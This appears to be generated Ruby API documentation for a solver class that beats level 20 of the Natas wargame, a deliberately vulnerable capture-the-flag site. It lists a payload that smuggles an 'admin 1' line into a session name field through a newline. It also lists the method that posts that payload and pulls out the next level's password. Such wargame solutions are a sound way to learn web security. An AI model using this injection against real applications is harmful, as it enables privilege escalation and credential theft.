Class: NatasLevel20

Inherits:
NatasLevelBase show all
Defined in:
lib/natas.rb

Overview

Level 20

Constant Summary collapse

LEVEL =
20
PAGE =
'/'
PAYLOAD =
"user\nadmin 1"

Constants inherited from NatasLevelBase

NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS

Instance Attribute Summary

Attributes inherited from NatasLevelBase

#login, #password

Instance Method Summary collapse

Methods inherited from NatasLevelBase

#get, #initialize, #level, #post

Constructor Details

This class inherits a constructor from NatasLevelBase

Instance Method Details

#execObject



624
625
626
627
628
629
630
# File 'lib/natas.rb', line 624

def exec
  response = post(PAGE, {}, { 'name' => PAYLOAD })
  data = get(PAGE, { 'Cookie' => response['Set-Cookie'] }).body
  match = %r(Password: (\w{32})</pre>).match(data)
  not_found unless match
  found(match[1])
end